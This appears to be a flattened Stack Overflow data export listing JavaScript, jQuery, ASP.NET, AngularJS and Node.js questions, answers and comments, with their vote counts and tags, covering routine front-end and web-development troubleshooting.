has body: SOLVED As MDN explains : To create a blob you have to use blob = new Blob(part,type); part = An Array of data objects to put into the new Blob object. So the fix (not easy to discover because oneself are seeing one and another time arrays, bufferarray, typedarrays.... and you feel confused ) is to use [] brackets to create on the fly an array of element/s. So instead of : var a_blob = new Blob(Uint8Array,{type: whatever}); use var a_blob = new Blob([Uint8Array],{type: whatever}); Believe me, after a lot of web searching you can see posts where you can see a blob creation with and without the brackets
upvote count: 2
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/comment/40380797
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25814039
has text: I like how our thought process / teaching style is exactly the same, haha. "First, let's look at this." "Here," (I know you wrote your answer without seeing mine.)
type: AnswerComment

http://stackoverflow.com/q/25819040
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/40390781
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40390729
has comment: http://stackoverflow.com/comment/40390532
has body: I just want to implement a function which could add the fruit in the basket if the fruit is on the list after the input and pressing "add". I have done it by using JavaScript, but now I am required to use jQuery library, and I got stucked, it is not working after I entered the text and pressed the add button. Can anybody help? This is my HTML file Fruit shelf Pick a fruit: Your choice is: Basket add fruit Below is the JavaScript var li = ["pear", "apple", "peach", "grapes", "strawberry", "melon"]; $("button").click(function () { var list = $('#basket'); var newfruit = $('#newfruit').val(); $('#boldStuff2').html(newfruit); var entry = $(' '); var len = li.length; for (var i = 0; i < len; i++) { if (li[i] == newfruit) { $("entry").append(document.createTextNode(newfruit)); $("list").append(entry); } } });
has comment: http://stackoverflow.com/comment/40390557
has comment: http://stackoverflow.com/comment/40390519
has answer: http://stackoverflow.com/a/25819221
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25819230
has comment: http://stackoverflow.com/comment/40390598
type: Question
possible better answer: http://stackoverflow.com/a/25819230
has comment: http://stackoverflow.com/comment/40390574
has comment: http://stackoverflow.com/comment/40390804
has comment: http://stackoverflow.com/comment/40390550
has answer: http://stackoverflow.com/a/25819214
accepted answer: http://stackoverflow.com/a/25819214
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40390629
has comment: http://stackoverflow.com/comment/40390705
has title: Add fruit to basket in jQuery
has comment: http://stackoverflow.com/comment/40390548

http://stackoverflow.com/comment/40348235
type: Comment
type: QuestionComment
has text: Every edit you make wipes out the question. Add to the bottom!
comment on: http://stackoverflow.com/q/25795720
score: 0

http://stackoverflow.com/a/25754605
answers question: http://stackoverflow.com/q/25754176
downvote count: 0
has comment: http://stackoverflow.com/comment/40273072
upvote count: 2
type: Answer
has body: You don't really need jQuery to do that. Plus, I'm not sure you really wan't to do this on the :hover, but I think you just want to do it once when the page is loaded right? If you want to animate it with JS every second, you don't think having the CSS in it's final states as a good option. A simple way would be something like that in native JS: var filler = document.getElementById('filler'); var border = 2, height = 20; var animate = setInterval(function() { if (border &lt; 15) { border += 0.10; filler.style.borderTopWidth = border + 'px'; } if (height &lt; 68) { height += 0.40; filler.style.height = height + '%'; } if (border&gt;=15 &amp;&amp; height&gt;=68) clearInterval(animate); }, 50); You will definitely have better perf' than with using jQuery and I wouldn't recommend using jQuery if you are not comfortable with JS. Of course it could be a lot improved but if you just want a simple fake loader this will do the work. Just a question: why do you want to make your website slow if it isn't?
score: 2
has comment: http://stackoverflow.com/comment/40273124

http://stackoverflow.com/comment/40351710
comment on: http://stackoverflow.com/a/25797251
type: AnswerComment
type: Comment
score: 0
has text: And here it is using both controller and linker with isolated scopes: http://plnkr.co/edit/WMXXjf0QW8xieuQhx9Mv?p=preview

http://stackoverflow.com/comment/40222689
comment on: http://stackoverflow.com/a/25727874
score: 1
type: AnswerComment
has text: as you want but you're probably not the first (nor the last) to whom it happens ;-) nothing to be embarrassed IMHO.
type: Comment

http://stackoverflow.com/comment/40483244
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25870279
type: QuestionComment
has text: Other than SVG, you might also want to check out how adding effects with `canvas` work. Here is a great library for that http://www.pixastic.com/lib/

http://stackoverflow.com/comment/40229398
type: AnswerComment
comment on: http://stackoverflow.com/a/25730528
score: 0
type: Comment
has text: Why construct a function out of text this way instead of just defining the function dynamically (`window.onload = function() { bgSlide(); setInterval(bgSlide, 8000); };`)?

http://stackoverflow.com/q/25807852
has title: What is the differences between 'ready' and 'on'?
has body: (i) $(document).ready(function () { $(".edit-item").on('click', function () { //something } }); (ii) $(document).on('click', '.edit-item', function () { //something }); Why the first one is called at only once.but the second one is called twice. what is the technical issue of second one(ii). Any one help me?
upvote count: 1
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25807896
has answer: http://stackoverflow.com/a/25807896
has comment: http://stackoverflow.com/comment/40368929
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25883539
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25883803
has comment: http://stackoverflow.com/comment/40368942
accepted answer: http://stackoverflow.com/a/25883539
favorite count: 0

http://stackoverflow.com/comment/40311484
type: QuestionComment
has text: injecting again would overwrite `gl.onMyInputEvent`, so you would be trying to remove a different `gl.onMyInputEvent` from what you added as a listener. (which wouldn't work)
comment on: http://stackoverflow.com/q/25761408
score: 0
type: Comment

http://stackoverflow.com/a/25811035
has comment: http://stackoverflow.com/comment/40437926
has comment: http://stackoverflow.com/comment/40440927
has comment: http://stackoverflow.com/comment/40442955
has comment: http://stackoverflow.com/comment/40445975
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25810820
has comment: http://stackoverflow.com/comment/40446641
has comment: http://stackoverflow.com/comment/40375220
has comment: http://stackoverflow.com/comment/40434602
answers question: http://stackoverflow.com/q/25810820
type: Answer
has body: You can use Java Script Function like &lt;script type="text/javascript" language="javascript"&gt; function javascriptFunction() { } &lt;/script&gt; call this function If you Used Update Panels Then You can Use in .Cs Page: ScriptManager.RegisterStartupScript(this, this.GetType(), Guid.NewGuid().ToString(), "javascriptFunction();", true); or On Button's Click in .aspx page &lt;asp:Button ID="Save" runat="server" Text="Save Changes" OnClick="SaveChanges" onClientClick="javascriptFunction();" ValidationGroup="ProjectSummaryValidationGroup" meta:resourcekey="SaveResource1" /&gt; Other Wise You can Use in .cs page ClientScript.RegisterStartupScript (GetType(),Guid.NewGuid().ToString(), "javascriptFunction();",true); set value of Label in javascript: document.getElementById('&lt;%=SaveTime.ClientID%&gt;').value = "Your Date"; for label : void Page_Load(object sender, EventArgs e) { lblMyLabel.Attributes.Add("onclick", "javascript:alert('ALERT ALERT!!!')"); }
has comment: http://stackoverflow.com/comment/40375535
has comment: http://stackoverflow.com/comment/40446547
score: 0
has comment: http://stackoverflow.com/comment/40441911

xcode
tags question: http://stackoverflow.com/q/25827368
type: Tag
tag name: xcode
tags question: http://stackoverflow.com/q/25831977
tags question: http://stackoverflow.com/q/25805579

http://stackoverflow.com/a/25726270
score: 1
has body: if you want to show all ids of many divs $('div').each(function(){ alert($(this).attr('id')); });
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/25726083
downvote count: 0

http://stackoverflow.com/comment/40311036
comment on: http://stackoverflow.com/q/25775451
has text: have you tried using `http` instead of `https`
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40442243
type: Comment
comment on: http://stackoverflow.com/a/25847689
score: 0
has text: You can first assign it by using `title="Your Message"` and then if you want to change this later on the you will have to assign an id to the input tag and then in javascript use this `document.getElementById("your_id").title="Changed Message";`.
type: AnswerComment

http://stackoverflow.com/comment/40476745
type: Comment
has text: he has downvoted all the posts on this page i guess. :D
comment on: http://stackoverflow.com/a/25864769
type: AnswerComment
score: 0

http://stackoverflow.com/a/70760449
has body: The label tag should check the box as per normal but what you have done is added another click event on top of another. You're essentially clicking twice so it's acting properly but unchecking itself. Try placing your ng-click on the Label tag instead if you need to do something special otherwise it should work per normal.
type: Answer
answers question: http://stackoverflow.com/q/25813080
score: 1
upvote count: 1
downvote count: 0

http://stackoverflow.com/comment/40265204
type: Comment
comment on: http://stackoverflow.com/q/25750649
type: QuestionComment
has text: calctype color and size are all based on selected settings from radio buttons. this should be working, because like I said it was working when I was using the .json file. but I can't get the object to work for some reason
score: 0

http://stackoverflow.com/q/25839547
tagged with: google-chrome
answer count: 1
accepted answer: http://stackoverflow.com/a/25943377
has comment: http://stackoverflow.com/comment/40428228
has comment: http://stackoverflow.com/comment/40428178
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40428342
downvote count: 0
tagged with: javascript
score: 1
has body: I'm attempting to perform programmatic injection of my content script into open tabs after my Chrome extension is reloaded or updated. My script may call the following method for an arbitrary tab: var manifest = chrome.app.getDetails(); var scripts = manifest.content_scripts[0].js; chrome.tabs.executeScript(nTabID, { file: scripts[0] }); This works, except when I try to load it into a page that was not supposed to have a content script running according to the matches clause in the manifest.json. I get the following exception: Cannot access contents of url "actual-url-here". Extension manifest must request permission to access this host. So my question. Is there a way to parse the page URL and see if it matches matches clause from manifest.json and prevent calling chrome.tabs.executeScript for unnecessary URL? PS. I understand that one "hacky" solution is to catch-and-ignore exceptions. So I'm not asking for it.
favorite count: 0
type: Question
has title: chrome.tabs.executeScript and injection only into pages that pass matches filter in manifest.json
has answer: http://stackoverflow.com/a/25943377
tagged with: google-chrome-extension
has comment: http://stackoverflow.com/comment/40428063
upvote count: 1

http://stackoverflow.com/comment/40214679
type: AnswerComment
has text: Actually I found the math in the example you cited very high-level, and did not clearly explain sub-dividing a bezier. However using the diagrams from your link I pieced together the fact I needed: the end point follows the curve exactly at [0...1], and the control points approach the previous points from their original positions by a factor of [0...1]. I'm reluctant to mark this as the correct answer since now I'm tempted to post a script example, but at the same time you helped me reach a conclusion to my question, so thank you for your answer.
comment on: http://stackoverflow.com/a/25722894
type: Comment
score: 1

http://stackoverflow.com/comment/40496856
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25862732
score: 0
has text: Uploading a file without a form is not possible. (You need a form, just not a normal submit button.) And resisting jquery is a waste of time. You will be assimilated.

http://stackoverflow.com/comment/40497306
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25840766
has text: Sorry, I had assumed you had programming experience. In addition to the SQL change I suggested, you will need to add the following line of code after the line `$city_area=…` : `$zip = $_GET['postal_code'];`, and you'll need to pass `postal_code` as a GET parameter. Also, don't forget to mark the answer as accepted.!
type: AnswerComment

http://stackoverflow.com/comment/40434626
type: Comment
comment on: http://stackoverflow.com/a/25843262
score: 0
has text: Should I remove it or just make it false?
type: AnswerComment

http://stackoverflow.com/comment/40362800
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25804090
has text: Assuming you're running it after the element with `id="company_search"` exists, your second one (without "on") should work. Can you give a bit more context?
score: 0

http://stackoverflow.com/comment/40475857
type: Comment
comment on: http://stackoverflow.com/a/25865734
type: AnswerComment
has text: Have tryed it in the fiddle all. But same problem as i told in my comment.
score: 0

http://stackoverflow.com/q/25805317
has body: i want to validate the form inputs without an type="submit" button. How can i do this? I tried this -> My form name is: form1 , button -> `Absenden The "background" of the question is: I want to validate the form inputs first, then (if all inputs ok) it should opens a modal, where u can select the redirect page (redirect yes, redirect no) then it submit the form via post to mail.php. I hope u understand my question, if u have questions, pls ask. (My english is not so good..) Thank you for help.
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25805455
has answer: http://stackoverflow.com/a/25805535
has answer: http://stackoverflow.com/a/25805655
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25805379
downvote count: 0
score: 1
favorite count: 0
tagged with: twitter-bootstrap
type: UnansweredQuestion
answer count: 4
has comment: http://stackoverflow.com/comment/40364801
has title: HTML5 form validation without submit button
upvote count: 1
tagged with: forms
type: Question
has comment: http://stackoverflow.com/comment/40364690

http://stackoverflow.com/comment/40428935
comment on: http://stackoverflow.com/a/25839978
type: Comment
has text: You can pass the seconds * 1000 into the Date constructor and you probably meant to use map instead of forEach in the inner call. Right now your return value is being ignored
score: 1
type: AnswerComment

http://stackoverflow.com/q/25860550
score: 0
has comment: http://stackoverflow.com/comment/40743520
has comment: http://stackoverflow.com/comment/41044380
type: UnansweredQuestion
tagged with: couchbase
tagged with: node.js
tagged with: model-view-controller
answer count: 0
type: Question
has body: I started a Node.js application to implement Model View Controller. The logic behind the application is relatively simple: 1) I get a JSON dump using a request.get 2) Put the JSON dump in CouchBase db 3) Get only the "id" value from the JSON file 4) Create a table (HTML) in the viewer to print how often I got every "id". From what I read online, the model is where my data will be. The viewer will have a jade template to generate dynamically the table in HTML (i am using express.js) and the controller is supposed to react on events, to make sure data is received and viewer is updated. My question is, which operations belong to which? In my case, what is the Model, the Viewer and the Controller supposed to do? Now I have an app.js file, view.jade, and model.js . Is this correct ? And also, after I get the JSON dump, I connect to the CouchBase but I am unable to set the file since it does not find the key (the dump is valid JSON) using this code: request.get(url, function(error, response, body){ console.log(body); try {JSON.parse(body); } catch (e){ return -1; } }); var couchbase = require('couchbase'); var db = new couchbase.Connection({host: "localhost:8091", bucket: "default"}, function(err) { if (err) throw err; db.set({"id"="176"},body, function(err, result) { if (err) throw err; }); });
has title: MVC with Node.js , Express and couchBase db
tagged with: javascript
tagged with: express

http://stackoverflow.com/comment/40435907
type: QuestionComment
comment on: http://stackoverflow.com/q/25843951
has text: I have added the source code but I don't really think that will be helpful :/
score: 0
type: Comment

http://stackoverflow.com/q/25853197
type: Question
has answer: http://stackoverflow.com/a/25862004
accepted answer: http://stackoverflow.com/a/25862004
has comment: http://stackoverflow.com/comment/40454149
tagged with: javascript
has title: Angular JS Promise + Object Constructors
has body: Here is my situation. For simplicity, let's assume I have a system called a BookListManager that manages lists of library books. app.service('BookListManager', function(){ var BookListManager = { activeBookList:null, addNewBookList:function(){ //create new BookList() //set new BookList to activeBookList; } } } I then have a factory that creates a BookList object. app.factory('BookList', function(){ var BookList = function(params){ //RESTful request via resource to fetch booklist data. //Assign booklist data to this object. //Create Book object for each book in this book list. } return BookList; }); And now I have a Book object that belongs within each book list. app.factory('Book', function(){ var Book = function(){ //RESTful resource call for book data. //Assign book data to Book object. } return Book; }); How can I create a promise chain to wait until after both the BookList and Books have finished collecting their data from the AJAX requests before assigning it as the activeBookList inside my BookListManager service? I am using the latest version of Angular. Thanks.
upvote count: 1
answer count: 1
favorite count: 0
tagged with: promise
tagged with: angularjs
type: AnsweredQuestion
downvote count: 0
linked to: http://stackoverflow.com/q/24398699
score: 1
has comment: http://stackoverflow.com/comment/40483033

http://stackoverflow.com/comment/40382492
has text: The numbers were only selected so I had something to match. The actual numbers don't really mean anything.
score: 0
comment on: http://stackoverflow.com/q/25814894
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25723801
has comment: http://stackoverflow.com/comment/40215094
tagged with: localhost
has answer: http://stackoverflow.com/a/43625788
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/25723887
has answer: http://stackoverflow.com/a/25723891
type: Question
has body: I am pulling my hair here. I think I am falling into som really basic stuff but here is my error. I have built a simple webpage with the following "tree-view". in my readjson.js I read from my json-file stored in json/label.json. However! Even if I have updated my json-file it reads the FIRST version of the json-file when I started. Using Google Chrome and have tried to refresh the browser, clean my build an so on. Still wont update the json-file on localhost. Have anyone else run into this and how do I solve it?
has answer: http://stackoverflow.com/a/56763342
upvote count: 15
downvote count: 0
has answer: http://stackoverflow.com/a/25723887
tagged with: javascript
answer count: 6
has answer: http://stackoverflow.com/a/69262948
score: 15
tagged with: visual-studio-2010
has comment: http://stackoverflow.com/comment/40214816
has comment: http://stackoverflow.com/comment/83978919
possible better answer: http://stackoverflow.com/a/25723891
favorite count: 0
has answer: http://stackoverflow.com/a/57744860
has title: File not updating on localhost

http://stackoverflow.com/q/25854190
has title: How do I make fancybox work from Google Maps InfoBox on mobile (iphone safari)?
tagged with: google-maps
has body: I'm trying to create a Google Maps InfoBox that contains some textual info and also a google sphere which opens with fancybox. My first solution was to use Google Maps InfoWindow, which actually worked - fancybox iframe was opening from the InfoWindow on desktop and mobile. -Here is my working solution for desktop and mobile with InfoWindow: http://spoti.lv/infowindow/ I needed to customize the InfoWindow, and so I found the InfoBox, which works in a similar way but has more customization options. The problem was that InfoBox did not behave like the original InfoWindow. 1.At first the fancybox did not work at all, it was just directing me to the url specified in a href. 2.Then I found out that setting the enableEventPropagation option of InfoBox to true made it work - on desktop but not on iphone safari browser. -Here is my working solution for desktop only with InfoBox: http://spoti.lv/infobox/ The Big Question: How do I make fancybox work from Google Maps InfoBox on mobile (iphone safari)?
tagged with: iphone
has answer: http://stackoverflow.com/a/25887022
tagged with: infobox
tagged with: javascript
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25887022
type: Question
tagged with: fancybox
upvote count: 1
answer count: 1

http://stackoverflow.com/comment/40282168
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25757377
has text: what version of Webtop do you use? Is your IE browser supported for that version of webtop?
score: 0

http://stackoverflow.com/q/25749792
has title: Why does the video-js endcard plugin add native controls to the player?
answer count: 1
tagged with: video.js
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25757319
tagged with: css
has body: Endcard is a plugin for the video-js html5 video player that inserts links at the end of a video. (Info on endcard: https://github.com/theonion/videojs-endcard). To insert an endcard, all you need is videojs.endcard.js, plus some css for styling. But... problem is, in some cases endcard strips the videojs custom controls off the video and replaces them with native controls. Examples... Classic videojs video, with basic videojs styling - http://www.casedasole.it/video/endcard/index.html Same video plus endcard demo (at the end) - http://www.casedasole.it/video/endcard/2.html Please note: Looks like it happens only on mobiles. On a PC, both videos have styled videojs controls in Chrome, FF and IE. It doesn't happen always on mobiles - there's no problem in Safari and Opera on iPad, but in Chrome on iPad, sometimes video 2 has videojs controls and then, on refresh, has native controls (when that happens, the video usually won't load). Where video 2 is always "native" is in Google Chrome developer tools (PC) - sometimes it looks OK, but after reload it's not. Using the developer tools I see that in the html of video 2 (the one with the endcard), the css class "vjs-using-native-controls" (which means display:none for the videojs controls) is being added to the video div. That isn't being added in the generated source in Firefox web developer. I've tested the two files to see what may be causing this and have boiled it down to the javascript at the end of the html in video 2. If I delete it, the player gets its styled controls back in Chrome (iPad) and Chrome developer tools. Hmm, maybe the problem is Chrome? Anyway, does anyone have some idea where the conflict arises, why only on mobiles, and how to fix it?
type: Question
tagged with: javascript
score: 0

dynamic-variables
tags question: http://stackoverflow.com/q/25793401
tag name: dynamic-variables
type: Tag

http://stackoverflow.com/comment/40265826
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25750855
has text: If it only works without the doctype, it is probably reading your css in quirks mode - I would guess it is related to your css code. What browser are you using? Using firefox, I can load the page.
score: 0

http://stackoverflow.com/comment/40298247
comment on: http://stackoverflow.com/q/25768693
score: 0
type: Comment
has text: Let's make a simpler but equivalent example: `var foo = function() { alert(bar); }; var bar = 42; foo();`. What do you think will happen here? Will the `alert` "work" correctly?
type: QuestionComment

sequelize.js
type: Tag
tags question: http://stackoverflow.com/q/25828011
tags question: http://stackoverflow.com/q/25838010
tag name: sequelize.js

http://stackoverflow.com/q/25798788
score: 0
has title: Using and HTMLHelper to display an image in .backstretch
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40541968
has comment: http://stackoverflow.com/comment/40353379
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40353501
tagged with: css
answer count: 0
has comment: http://stackoverflow.com/comment/40353390
type: Question
tagged with: asp.net-mvc
has body: I am using backstretch to provide a full height/width image background. I am doing a little themeing and need to be able to call an image from the HTML Helper into the backstretch javascript. It won't pull the image in for some reason. It seems to be adding my MVC View root, which is Account onto it. Here is my code: $.backstretch('@Html.ThemeImage("login-background.jpg")'); The backstretch javascript is here: https://raw.githubusercontent.com/srobbin/jquery-backstretch/master/jquery.backstretch.min.js the link its producing is this http://localhost/xxx.xxx.xxx/Account/%3Cimg%20src=%22/xxx.xxx.xxxx /Content/Client/Images/login-background.jpg%22%20/%3E The actual url should be http://localhost/xxx.xxxxxxx.xxx/Content/Client/Images/login-background.jpg This is the extension control ublic static class HtmlExtensions { public static MvcHtmlString ThemeImage(this HtmlHelper helper, string fileName, string alt = "", int width = 0, int height = 0, string cssClass = "", string id = "") { var clientFolder = string.Format("{0}/Content/{1}/Images", HttpRuntime.AppDomainAppVirtualPath, AppSettings.ClientName); var fullFileName = string.Format("{0}/{1}", clientFolder, fileName); var builder = new TagBuilder("img"); builder.MergeAttribute("src", fullFileName); if (alt != "") { builder.MergeAttribute("alt", alt); } if (width != 0) { builder.MergeAttribute("width", width.ToString()); } if (height != 0) { builder.MergeAttribute("height", height.ToString()); } if (cssClass != "") { builder.MergeAttribute("class", cssClass); } if (id != "") { builder.MergeAttribute("id", id); } //var imgString = String.Format("&lt;img src='{0}' alt='{1}' width='{2}' height='{3}' class='{4}' id='{5}'/&gt;", fullFileName, alt, width, height, cssClass, id); return MvcHtmlString.Create(builder.ToString(TagRenderMode.SelfClosing)); } } I believe my extension control needs to be changed, but I can't figure out where.
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40542219
has comment: http://stackoverflow.com/comment/40353455

http://stackoverflow.com/comment/40255036
has text: do you want to remove table row?
score: 0
comment on: http://stackoverflow.com/q/25745159
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40261478
has text: And this script does this: "Empty document and stop further javascript" ?
comment on: http://stackoverflow.com/a/25748807
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/40299761
comment on: http://stackoverflow.com/q/25769696
type: QuestionComment
has text: Reading about [Operator precedence](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence) might help.
type: Comment
score: 0

http://stackoverflow.com/comment/40395661
has text: Have you notice that A is a single character? I guess so C# has special operation inside the sort method for it. Suppose C# sort is an expected result, now I want to use JavaScript to match it.
type: Comment
comment on: http://stackoverflow.com/q/25821920
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40417255
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25834122
type: Comment
has text: Ew, [MDN](https://developer.mozilla.org/en-US/docs/Web/API/document.write) indeed says the document is implicitly opened. Still that means you're not closing it (causing eternal load) and you're creating wildly invalid HTML by writing outside the body.

http://stackoverflow.com/comment/129529214
score: 0
type: AnswerComment
has text: @БранкоПејић I assume it throws an error if el is not found? you tell us bro
comment on: http://stackoverflow.com/a/43263908
type: Comment

http://stackoverflow.com/comment/40206565
type: QuestionComment
type: Comment
score: 1
has text: Have your tried to change `document.getElementById(IDDep).value;` to `document.getElementById('IDDep').value;` and ` `to ` `
comment on: http://stackoverflow.com/q/25719170

http://stackoverflow.com/comment/40371263
comment on: http://stackoverflow.com/a/25808113
score: 0
has text: You can easily replace the `$('textarea')` with something like `$('textarea.Class')` or `$('.textareaClass')` and then it will only work for the text areas with that class. You can then even replace the four `WordsUsed += countWords( $('#MyTextBox1'));` with a foreach loop: `$('textarea.Class').each(function(){ WordsUsed += countWords( $(this)); });` - that would remove duplication of code. (Also, I mentioned that at the top of my post, but this clarifies that a bit)
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25831873
answers question: http://stackoverflow.com/q/25831256
has body: Page When you mention a "static" page -- all the pages are static in Rails Rails just renders HTML, using the data from your database. Much like PHP (which many developers can appreciate), Rails is a processor which allows you to populate your view with the data you need. This means that if you want to make a "static" page, you just need to not pull any data from the db: #config/routes.eb root: "application#home" #app/controllers/application_controller.rb class ApplicationController &lt; ActionController::Base def home end end This will give you the ability to load the following view: #app/views/application/home.html.erb Put stuff here Assets Now, the slightly trickier part is to include the right assets for this view. You mention you have your own directory structure. Let me tell you now that you'll be MUCH better served by creating &amp; serving assets from your assets pipeline. Here's how: #app/views/layouts/application.html.erb &lt;head&gt; ... &lt;% if controller_name == "application" &amp;&amp; action_name == "home" %&gt; &lt;%= stylesheet_link_tag "welcome" %&gt; &lt;%= javascript_include_tag "welcome" %&gt; &lt;% end %&gt; &lt;/head&gt; This will give you the ability to call the following: #app/assets/stylesheets/welcome.css ... #app/assets/javascripts/welcome.js ... Finally, if you then add the "welcome" files to your asset precompilation list, it should work for you: #config/application.rb Rails.application.config.assets.precompile += ['welcome.js', 'welcome.css']
score: 5
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/54956476
accepted answer of: http://stackoverflow.com/q/25831256
upvote count: 5
downvote count: 0

http://stackoverflow.com/comment/40248547
score: 0
type: AnswerComment
type: Comment
has text: Thx for the answer, whether to use Service or Resource for my api hits for better performance ?
comment on: http://stackoverflow.com/a/25741747

http://stackoverflow.com/comment/40218194
type: QuestionComment
has text: Understood. I have very poor js knowledge :/ Thanks for your input thus far gentlemen.
comment on: http://stackoverflow.com/q/25724954
score: 0
type: Comment

http://stackoverflow.com/comment/40707245
has text: @algorhythm Ajax GET requests are cacheable. Here is an example: http://www.httpwatch.com/demos/ajax_caching/
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25870628

http://stackoverflow.com/q/25822913
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25824661
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/25823141
has answer: http://stackoverflow.com/a/25823141
favorite count: 0
has answer: http://stackoverflow.com/a/25822949
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25824661
has body: I'd like to show the content of the selected options in the span tags with corresponding id's. So when you choose Chocolate as your ice cream flavor and Caramel as your topping, the text at the bottom will change to: "I love Chocolate ice cream with Caramel". Vanilla Chocolate Strawberry Sprinkles Chocolate Dip Caramel I love ice cream with . Does anyone know of a javascript that can do this? Update: - Without using jQuery. - Vanilla, Chocolate, Strawberry, Sprinkles, Chocolate Dip, and Caramel don't have to be displayed in bold. - The first option in the select list is shown as default. I.e.: "I love Vanilla ice cream with Sprinkles".
has title: Show Content of Selected Options
type: AnsweredQuestion
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/40437469
type: QuestionComment
comment on: http://stackoverflow.com/q/25844729
score: 0
has text: I just need to check WHERE is the text, in which element
type: Comment

http://stackoverflow.com/a/25752189
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25746436
has body: i solved my question ! look at codes below ! &lt;asp:GridView ID="GroupExsGridView" Width="100%" BorderWidth="0" ShowFooter="false" DataKeyNames="GroupExsID" OnRowDataBound="GroupExsGridView_RowDataBound" ShowHeader="false" EmptyDataText="هیچ تمرینی موجود نیست" AutoGenerateColumns="false" AllowPaging="false" AllowSorting="false" PageSize="50" runat="server"&gt; &lt;Columns&gt; &lt;asp:TemplateField&gt; &lt;ItemStyle BorderWidth="0" /&gt; &lt;ItemTemplate &gt; &lt;div class="alert alert-info" role="alert"&gt; &lt;asp:Label ID="ExsName" CssClass="h4" Text='&lt;%# Bind("GExsName") %&gt;' runat="server" &gt;&lt;/asp:Label&gt;&lt;br /&gt; &lt;asp:Label CssClass="h5" ID="ExsdES" style="word-wrap:break-word;" runat="server" Text='&lt;%# Bind("GExsDes") %&gt;'&gt;&lt;/asp:Label&gt;&lt;br /&gt;&lt;br /&gt; &lt;div class="defaultCountdown" id="defaultCountdown" runat="server"&gt;&lt;/div&gt; &lt;asp:Label ID="ExsDeadLine" style="display:none" runat="server" Text='&lt;%# Bind("GExsDeadLine")%&gt;'&gt;&lt;/asp:Label&gt; &lt;/div&gt; &lt;asp:HyperLink ID="DownloadLink" Target="_blank" NavigateUrl='&lt;%# Bind("GExsFilePath") %&gt;' CssClass=" btn btn-lg btn-link pull-left" runat="server"&gt;دانلود&lt;/asp:HyperLink&gt; &lt;asp:LinkButton ID="DeleteExs" CssClass=" btn btn-lg btn-link pull-left" OnClick="DeleteExs_Click" runat="server"&gt;حذف&lt;/asp:LinkButton&gt; &lt;asp:Label ID="HelpText" CssClass="small" runat="server" Text="تاریخ ارسال:"&gt;&lt;/asp:Label&gt; &lt;asp:Label ID="ExsDate" CssClass="small" runat="server" Text='&lt;%# fbTime( (DateTime)Eval("GExsDate") ) %&gt;'&gt;&lt;/asp:Label&gt; &lt;hr /&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;/Columns&gt; &lt;/asp:GridView&gt; &lt;script&gt; $(function () { var gridview = document.getElementById("&lt;%= GroupExsGridView.ClientID %&gt;"); for (i = 0; i &lt; gridview.rows.length; i++) { var la = document.getElementById("ContentPlaceHolder1_GroupExsGridView_ExsDeadLine_" + i); var austDay = new Date(la.innerHTM…

http://stackoverflow.com/q/25758441
answer count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: iframe
tagged with: fouc
score: 2
has title: How can my iFrame know when the page is loaded within it?
type: Question
tagged with: javascript
downvote count: 0
has comment: http://stackoverflow.com/comment/40281512
has body: I have a web page which loads an iFrame into itself dynamically via javascript. This was causing a white flash in IE and I was able to solve the flash problem using the following attributes on the iFrame: &lt;iframe style="visibility:hidden;" onload="this.style.visibility = 'visible';" src="../examples/inlineframes1.html" &gt; &lt;/iframe&gt; Once the frame is loaded, I load other pages into the frame using target="frameName" - not by dynamically changing the source of the iFrame. This, however, causes yet another white flash. To make matters more interesting, the pages that load in the iFrame are cross-domain. How can the iFrame in the parent know when the page has completed loading within the iFrame without resulting to postMessage from within the iFrame document? In other words, is there some kind of event IN THE PARENT that is fired when the iFrame's document loads? If there is, then I could make the iFrame invisible on the "a" tag's click event, and make it visible again when the iFrame's document has loaded, thereby avoiding the white flash.
favorite count: 0
has comment: http://stackoverflow.com/comment/40279469

http://stackoverflow.com/comment/40219611
score: 0
type: Comment
type: QuestionComment
has text: In that way you can use a custom sql query and execute it :)
comment on: http://stackoverflow.com/q/25725967

http://stackoverflow.com/comment/40446661
type: Comment
comment on: http://stackoverflow.com/a/25849997
score: 0
